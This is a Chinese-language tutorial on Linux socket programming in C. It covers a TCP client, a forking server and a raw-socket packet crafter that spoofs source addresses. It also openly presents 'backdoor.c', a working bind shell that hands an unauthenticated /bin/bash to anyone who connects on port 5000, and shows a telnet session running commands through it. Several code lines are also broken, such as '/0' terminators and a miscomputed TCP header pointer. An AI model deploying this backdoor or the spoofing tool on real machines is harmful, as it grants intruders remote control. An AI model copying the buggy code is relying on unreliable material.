linux网络编程基础

来源:互联网 发布:java包命名规则 编辑:程序博客网 时间:2024/04/20 06:40

linux网络编程基础

首先,什么是socket?socket是计算机用于与网络上的其它计算机进行通信的一个接口,它就像是电源插线板上的插口一样,用电电器想要获得电源,就必须要有个插头连接到插线板上的插口。同样,计算机要想获得一个网络连接就得建立一个socket。

下面是一些在建立一个socket时常的函数:

socket()  ---  用来创建一个socket接口
例:sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

connect()  ---  用来连接到远程主机
例:connect(sock, (struct sockaddr*)&remote_host, sizeof(remote_host));

send()  ---  用来向远程主机发送数据
例:nsend = send(sock, data, datalen, 0);

recv()  ---  用来接收从主机发送来的数据
例:nrecv = recv(sock, buffer, sizeof(buffer), 0);

close()  ---  用来关闭一个socket
例:close(sock);

下面是一个简单的客房端例子,它连接到服务器,发送一个字符串,然后接收服务器发送回来的字符串。

 

filename: client.c

#include 
<stdio.h>
#include 
<sys/types.h>
#include 
<sys/socket.h>
#include 
<netinet/in.h>
#include 
<arpa/inet.h>
#include 
<stdlib.h>
#include 
<string.h>

int main(int argc, char *argv[])
{
    
int sock;
    
struct sockaddr_in remote;

    
if (argc < 3) {
        printf(
"usage: %s <dst-ip> <dst-port> ", argv[0]);
        exit(
-1);
    }

    sock 
= socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
if (sock < 0) {
        printf(
"socket error. ");
        exit(
-1);
    }

    memset(
&remote, 0sizeof(remote));
    remote.sin_family 
= AF_INET;
    remote.sin_port 
= htons(atoi(argv[2]));
    inet_pton(AF_INET, argv[
1], &remote.sin_addr);
    
char addr[INET_ADDRSTRLEN];
    inet_ntop(AF_INET, 
&remote.sin_addr, addr, INET_ADDRSTRLEN);
    printf(
"%s ", addr);

    printf(
"connecting... ");
    
if (connect(sock, (struct sockaddr*)&remote, sizeof(struct sockaddr)) < 0) {
        printf(
"connect error. ");
        exit(
-1);
    }

    printf(
"send data... ");
    
char sbuf[] = "I am plusboy";
    
char rbuf[1024];
    send(sock, sbuf, 
sizeof(sbuf), 0);

    
int nrecv = recv(sock, rbuf, sizeof(rbuf), 0);
    rbuf[nrecv] = '/0';
    printf("recv from server: %s/n", rbuf);
    close(sock);
    return 0;
}

 编译:gcc -o client client.c
执行结果如下:
[bugboy@bugboy c]$ ./client 172.16.100.108 6789
172.16.100.108
connecting...
send data...
recv from server: recv: I am plusboy


上面是一个客户端的例子,为了创建一个服务端,我们需要了解更多的socket函数,下面是一些常用的函数:

bind()  ---  用来把一个socket和一个网络地址和一个端口号进行绑定
例:bind(sock, (struct sockaddr*)&local_host, sizeof(local_host));

listen()  ---  用来把一个socket置入监听状态
例:listen(sock, 5);

accept()  ---  用来接收一个远程连接请求
例:cli_sock = accept(sock, (struct sockaddr*)&cli_addr, &cli_addr_size);

下面是一个简的服务器端例子,这接收客房端的连接请求,然后启动一个子进程来处理客户端,父进程继续等待其它客户端的请求,注意服务器端用了一个dup2()进行描述符复制,它把客户端连接生成的socket复制到一标准输出,因此打印到标准输出的信息最终会发送到客户端。

 

filename: server.c

#include 
<stdio.h>
#include 
<stdlib.h>
#include 
<sys/types.h>
#include 
<sys/socket.h>
#include 
<netinet/in.h>
#include 
<unistd.h>

int main(int argc, char *argv[])
{
    
int lsock;
    
int rsock;
    
struct sockaddr_in server;
    
struct sockaddr_in client;
    
int len;

    len 
= sizeof(struct sockaddr);

    lsock 
= socket(AF_INET, SOCK_STREAM, 0);
    
if (lsock < 0) {
        printf(
"socket error. ");
        exit(
-1);
    }

    memset(
&server, 0sizeof(server));
    server.sin_family 
= AF_INET;
    server.sin_port 
= htons(6789);
    server.sin_addr.s_addr 
= INADDR_ANY;

    
if (bind(lsock, (struct sockaddr*)&server, sizeof(struct sockaddr)) < 0) {
        printf(
"bind error. ");
        exit(
-1);
    }

    
if (listen(lsock, 5< 0) {
        printf(
"listen error. ");
        exit(
-1);
    }

    
char buf[1024];
    
int nrecv;
    
char cli_addr[INET_ADDRSTRLEN];
    
    
while (1) {
        rsock 
= accept(lsock, (struct sockaddr*)&client, &len);
        printf(
"Connection from %s "
               inet_ntop(AF_INET, 
&client.sin_addr, cli_addr, INET_ADDRSTRLEN));

        
if (fork() == 0) {
            close(lsock);
            dup2(rsock, STDOUT_FILENO);
            
while (1) {
                nrecv 
= recv(rsock, buf, sizeof(buf), 0);
                buf[nrecv] = '/0';
                printf("recv: %s/n", buf);
                if (strncmp(buf, "exit", 4 ) == 0) {
                    exit(0);
                }
            }
        } else {
            close(rsock);
        }
    }
    close(rsock);
    return 0;
}

编译:gcc -o server server.c
执行结果如下:
[bugboy@bugboy c]$ ./server
Connection from 172.16.100.108

有了上面的基础,就可以偿试写一个后门程序来玩玩了,下面是一个不错的例子:

filename: backdoor.c

#include 
<stdio.h>
#include 
<sys/types.h>
#include 
<sys/socket.h>
#include 
<netinet/in.h>
#include 
<unistd.h>

int main(int argc, char *argv[])
{
    
int lsock, rsock;
    
struct sockaddr_in server;
    
struct sockaddr_in client;

    
if ((lsock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        fprintf(stderr, 
"socket error. ");
        exit(
-1);
    }

    server.sin_family 
= AF_INET;
    server.sin_port 
= htons(5000);
    server.sin_addr.s_addr 
= INADDR_ANY;

    
if (bind(lsock, (struct sockaddr*)&server, sizeof(struct sockaddr)) < 0) {
        fprintf(stderr, 
"bind error. ");
        exit(
-1);
    }

    
if (listen(lsock, 5< 0) {
        fprintf(stderr, 
"listen error. ");
        exit(
-1);
    }

    
while (1) {
        
int size;
        size 
= sizeof(struct sockaddr);
        rsock 
= accept(lsock, (struct sockaddr*)&client, &size);
        
        
/* 把输入、输出和出错信息重定向到网络 */
        dup2(rsock, STDIN_FILENO);
        dup2(rsock, STDOUT_FILENO);
        dup2(rsock, STDERR_FILENO);
        execl(
"/bin/bash""/bin/bash", (char*)0);
        close(rsock);
    }

    
return 0;
}

在linux下用GCC编译:gcc -o backdoor backdoor.c  运行结果如下:
[plusboy@server3 ~]$./backdoor

从另一台机子(或者本机)telnet到server3去
[bugboy@bugboy ~]$ telnet 172.16.100.81 5000
Trying 172.16.100.81...
Connected to server3 (172.16.100.81).
Escape character is '^]'.
hostname;
server3
: command not found
uname -a;
Linux server3 2.6.9-5.EL #1 Wed Jan 5 19:22:18 EST 2005 i686 i686 i386 GNU/Linux
: command not found

有时你需要获得对网络底层协议更多的控制,这时你需要用到raw socket(原始套接口)。下面是常用到的函数:

sendto()  ---  用来发送数据到远程主机
例:nsend = sendto(sock, data, datalen, 0,   (struct sockaddr*)&remote_host, sizeof(remote_host);

recvfrom()  ---  用来接收从远程主机发送来的数据
例:nrecv = recvfrom(sock, buffer, sizeof(buffer), 0,  (struct sockaddr*)&remote_host, sizeof(remote_host);
           
setsockopt()  ---  用来设置socket的选项
例:setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&enable, sizeof(enable));

下面是一个使用原始套接口的例子(raw_socket.c):

 

#include <stdio.h>
#include 
<stdlib.h>
#include 
<unistd.h>
#include 
<netdb.h>
#include 
<sys/types.h>
#include 
<sys/socket.h>
#include 
<netinet/in.h>
#include 
<netinet/ip.h>
#include 
<netinet/tcp.h>

int main(int argc, char *argv[])
{
    
if (argc != 7) {
        fprintf(stderr, 
"Simple Packet Crafter using raw sockets "
                
"Usage: %s <dst-ip> <dst-port> <src-ip> <src-port> <ttl> <window> ",  argv[0]);
        fprintf(stderr, 
"Example: %s 192.0.0.2 79 1.2.3.4 12345 255 512 ", argv[0]);
        exit(
-1);
    }

    
if (getuid() != 0) {
        fprintf(stderr, 
"Error: Must be ROOT to open raw sockets. ");
        exit(
-1);
    }

    
int enable = 1;
    
int sock;
    
char packet[4096];

    
struct sockaddr_in remote;
    
struct iphdr *ip = (struct iphdr*) packet;
    
struct tcphdr *tcp = (struct tcphdr*) packet + sizeof(struct tcphdr);

    
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
        fprintf(stderr, 
"socket error. ");
        exit(
-1);
    }

    remote.sin_family 
= AF_INET;
    inet_pton(AF_INET, argv[
1], &remote.sin_addr.s_addr);
    remote.sin_port 
= htons(atoi(argv[2]));

    memset(packet, 
0sizeof(packet));

    
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&enable, sizeof(enable)) < 0) {
        fprintf(stderr, 
"setsockopt error. ");
        exit(
-1);
    }

    
struct in_addr addr;

    ip
->ihl = 5;     // IP header length
    ip->version = 4// IP version
    ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);  
    ip
->id = htons(2500); // id sequence number
    inet_pton(AF_INET, argv[3], &addr); // source ip
    ip->saddr = addr.s_addr;
    inet_pton(AF_INET, argv[
1], &addr); // destination ip
    ip->daddr = addr.s_addr;
    printf(
"source ip: %d ", ip->saddr);
    printf(
"destination ip: %d ", ip->daddr);
    ip
->ttl = htons(atoi(argv[5]));  // ttl
    ip->protocol = IPPROTO_TCP;      // protocol number
    ip->check = 0;    // IP checksum
    ip->tos = 0;      // type of service
    ip->frag_off = 0// fragment offset

    tcp
->source = htons(atoi(argv[4])); // source port 
    tcp->dest = htons(atoi(argv[2]));   // destination port
    tcp->seq = htons(random());         // initial sequence number
    tcp->ack_seq = htons(0);            // acknowledgement number
    tcp->ack = 0;  // acknowledgement flag
    tcp->syn = 1;  // synchronize flag
    tcp->rst = 0;  // reset flag
    tcp->psh = 0;  // push flag
    tcp->fin = 0;  // finish flag
    tcp->urg = 0;  // urgent flag
    tcp->check = 0// tcp checksum
    tcp->doff = 5// data offset
    tcp->window = htons(atoi(argv[6]));  // window size

    printf(
" Simple Packet Crafter using raw sockets ");
    printf(
" Packet Data: ");
    printf(
" Destination IP: %s, ", argv[1]);
    printf(
" Destination Port: %s,  ", argv[2]);
    printf(
" Source IP: %s, ", argv[3]);
    printf(
" Source Port: %s, ", argv[4]);
    printf(
" TTL: %s, ", argv[5]);
    printf(
" Window Size: %s ", argv[6]);

    printf(
" Sending packet to %s... ", argv[1]);

    
if (sendto(sock, packet, ip->tot_len, 0
        (
struct sockaddr*)&remote, sizeof(struct sockaddr)) < 0) {
        fprintf(stderr, 
"Error: can't send packet! ");
        
return -1;
    }

    printf(
" Packet send to %s! Goodbye! ", argv[1]);
    
return 0;
}

这个程序需要root用户执行,因为只有root用户可以创建原始套接口。用gcc编译后,程序执行结果如下:

[root@bugboy c]# ./raw_socket 172.16.100.81 22 172.16.100.108 5000 255 512
source ip: 1818497196
destination ip: 1365512364

Simple Packet Crafter using raw sockets

Packet Data:

Destination IP: 172.16.100.81,
Destination Port: 22,

Source IP: 172.16.100.108,
Source Port: 5000,
TTL: 255,
Window Size: 512

Sending packet to 172.16.100.81...

Packet send to 172.16.100.81! Goodbye!

 

原创粉丝点击